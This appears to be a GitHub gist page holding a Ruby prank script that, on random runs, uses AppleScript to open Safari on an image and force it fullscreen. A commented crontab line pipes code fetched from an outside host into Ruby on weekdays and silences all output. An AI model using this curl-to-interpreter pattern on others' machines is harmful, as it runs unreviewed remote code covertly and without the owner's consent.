Skip to content

Instantly share code, notes, and snippets.

@diezguerra
Last active October 20, 2015 17:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save diezguerra/134e59ffe9b377ef9cd1 to your computer and use it in GitHub Desktop.
Save diezguerra/134e59ffe9b377ef9cd1 to your computer and use it in GitHub Desktop.
Cagers
# 23 8-18 * * 1-5 curl -L tenwar.com/watching | ruby >/dev/null 2>&1
require('Open3')
if rand(1...10) > 9
osa_script = <<'End'
activate application "Safari"
delay 2
tell application "Safari"
open location "http://i.imgur.com/01UfNRa.jpg"
activate
end tell
tell application "System Events"
keystroke "f" using {control down, command down}
end tell
End
Open3.capture2('osascript', :stdin_data => osa_script)
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment